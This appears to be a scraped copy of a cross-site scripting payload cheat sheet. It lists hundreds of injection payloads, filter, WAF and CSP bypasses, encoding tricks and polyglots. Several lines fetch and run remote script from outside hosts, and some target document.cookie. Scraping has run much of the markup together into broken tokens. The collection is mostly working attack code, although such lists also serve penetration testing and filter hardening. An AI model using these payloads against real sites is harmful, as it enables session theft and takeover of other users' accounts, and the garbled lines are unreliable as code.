Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
Summary
Exploit code or POC
Data grabber for XSS
UI redressing
Javascript keylogger
Other ways
Identify an XSS endpoint
XSS in HTML/Applications
Common Payloads
XSS using HTML5 tags
XSS using a remote JS
XSS in hidden input
DOM based XSS
XSS in JS Context
XSS in wrappers javascript and data URI
XSS in files (XML/SVG/CSS/Flash/Markdown)
XSS in PostMessage
Blind XSS
XSS Hunter
Other Blind XSS tools
Blind XSS endpoint
Mutated XSS
Polyglot XSS
Filter Bypass and Exotic payloads
Bypass case sensitive
Bypass tag blacklist
Bypass word blacklist with code evaluation
Bypass with incomplete html tag
Bypass quotes for string
Bypass quotes in script tag
Bypass quotes in mousedown event
Bypass dot filter
Bypass parenthesis for string
Bypass parenthesis and semi colon
Bypass onxxxx= blacklist
Bypass space filter
Bypass email filter
Bypass document blacklist
Bypass using javascript inside a string
Bypass using an alternate way to redirect
Bypass using an alternate way to execute an alert
Bypass ">" using nothing
Bypass "<" and ">" using < and >
Bypass ";" using another character
Bypass using HTML encoding
Bypass using Katana
Bypass using Cuneiform
Bypass using Lontara
Bypass using ECMAScript6
Bypass using Octal encoding
Bypass using Unicode
Bypass using UTF-7
Bypass using UTF-8
Bypass using UTF-16be
Bypass using UTF-32
Bypass using BOM
Bypass using weird encoding or native interpretation
Bypass using jsfuck
CSP Bypass
Common WAF Bypass
Exploit code or POC
Data grabber for XSS
Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.
This payload opens the debugger in the developper console rather than triggering a popup alert box.
<script>debugger;</script>
Modern applications with content hosting can use sandbox domains
to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
For this reason, it's better to use alert(document.domain) or alert(window.origin) rather than alert(1) as default XSS payload in order to know in which scope the XSS is actually executing.
While alert() is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log() can be used instead to display a message in the console of the developper console (doesn't require any interaction).
Example:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
// Basic payload<script>alert('XSS')</script><scr<script>ipt>alert('XSS')</scr<script>ipt>"><script>alert('XSS')</script>"><script>alert(String.fromCharCode(88,83,83))</script><script>\u0061lert('22')</script><script>eval('\x61lert(\'33\')')</script><script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"<object/data="javascript:alert(23)">// Img payload<imgsrc=x onerror=alert('XSS');><img src=x onerror=alert('XSS')//<img src=x onerror=alert(String.fromCharCode(88,83,83));><img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));><img src=x:alert(alt) onerror=eval(src) alt=xss>"><img src=x onerror=alert('XSS');>"><imgsrc=x onerror=alert(String.fromCharCode(88,83,83));>// Svg payload<svgonload=alert(1)><svg/onload=alert('XSS')><svg onload=alert(1)//<svg/onload=alert(String.fromCharCode(88,83,83))><svg id=alert(1) onload=eval(id)>"><svg/onload=alert(String.fromCharCode(88,83,83))>"><svg/onload=alert(/XSS/)<svg><scripthref=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)<svg><script>alert('33')<svg><script>alert('33')// Div payload<divonpointerover="alert(45)">MOVE HERE</div><divonpointerdown="alert(45)">MOVE HERE</div><divonpointerenter="alert(45)">MOVE HERE</div><divonpointerleave="alert(45)">MOVE HERE</div><divonpointermove="alert(45)">MOVE HERE</div><divonpointerout="alert(45)">MOVE HERE</div><divonpointerup="alert(45)">MOVE HERE</div>
XSS using HTML5 tags
<bodyonload=alert(/XSS/.source)><input autofocusonfocus=alert(1)><select autofocusonfocus=alert(1)><textarea autofocusonfocus=alert(1)><keygen autofocusonfocus=alert(1)><video/poster/onerror=alert(1)><video><source onerror="javascript:alert(1)"><videosrc=_ onloadstart="alert(1)"><details/open/ontoggle="alert`1`"><audiosrconloadstart=alert(1)><marquee onstart=alert(1)><meter value=2 min=0 max=10 onmouseover=alert(1)>2 outof 10</meter><body ontouchstart=alert(1)> // Triggers when a finger touch the screen<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
XSS using a remote JS
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'><scriptsrc=14.rs>// you can also specify an arbitrary payload with 14.rs/#payloade.g: 14.rs/#alert(document.domain)
XSS in hidden input
<inputtype="hidden"accesskey="X"onclick="alert(1)">Use CTRL+SHIFT+X to trigger the onclick event
-(confirm)(document.domain)//; alert(1);//// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
XSS in wrappers javascript and data URI
XSS with javascript:
javascript:prompt(1)%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341javascript:confirm(1)We can encode the "javascript:"in Hex/Octal\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)\152\141\166\141\163\143\162\151\160\164\072alert(1)We can use a 'newline character'java%0ascript:alert(1) -LF (\n)java%09script:alert(1) - Horizontal tab (\t)java%0dscript:alert(1) -CR (\r)Using the escape character\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)Using the newline and a comment //javascript://%0Aalert(1)javascript://anything%0D%0A%0D%0Awindow.alert(1)
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)
XSS in SWF flash application
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
Use browsers quirks to recreate some HTML tags when it is inside an element.innerHTML.
Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.
# by crlfjavascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//># by europajavascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//># by EdOverflowjavascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//># by h1/ragnarjavascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
// From @garethheyes<script>onerror=alert;throw 1337</script><script>{onerror=alert}throw 1337</script><script>throw onerror=alert,'some string',123,'haha'</script>// From @terjanq<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>// From @cgvwzq<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
Bypass onxxxx= blacklist
<objectonafterscriptexecute=confirm(0)><object onbeforescriptexecute=confirm(0)>// Bypass onxxx= filter with a null byte/vertical tab<img src='1' onerror\x00=alert(0) /><imgsrc='1' onerror\x0b=alert(0) />// Bypass onxxx= filter with a '/'<imgsrc='1' onerror/=alert(0) />
Bypass space filter
// Bypass space filter with "/"<img/src='1'/onerror=alert(0)>// Bypass space filter with 0x0c/^L<svgonload=alert(1)>$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al00000010: 6572 7428 3129 0c3e 0a ert(1).>.
The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.
We can find "alert" with a regular expression like ^a[rel]+t$ :
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()// then you can use a() with Object.keysself[Object.keys(self)[a()]]("1") // alert("1")
Oneliner:
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
Unicode character U+FF1CFULLWIDTHLESSTHANSIGN (encoded as %EF%BC%9C) wastransformed into U+003CLESSTHANSIGN (<)Unicode character U+02BAMODIFIERLETTERDOUBLEPRIME (encoded as %CA%BA) wastransformed into U+0022QUOTATIONMARK (")Unicode character U+02B9MODIFIERLETTERPRIME (encoded as %CA%B9) wastransformed into U+0027APOSTROPHE (')E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/%EF%BC%9E becomes >%EF%BC%9C becomes <
Bypass using Unicode converted to uppercase
İ (%c4%b0).toLowerCase() => iı (%c4%b1).toUpperCase() =>Iſ (%c5%bf) .toUpperCase() =>SK (%E2%84%AA).toLowerCase() => k<ſvg onload=...> become <SVGONLOAD=...><ıframe id=x onload=>.toUpperCase() become <IFRAMEID=X ONLOAD=>
Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page
BOM Character for UTF-16 Encoding:Big Endian :0xFE0xFFLittle Endian :0xFF0xFEXSS :%fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3EBOM Character for UTF-32 Encoding:Big Endian :0x000x000xFE0xFFLittle Endian :0xFF0xFE0x000x00XSS :%00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using weird encoding or native interpretation
// CSP Bypass with Inline and Evald=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)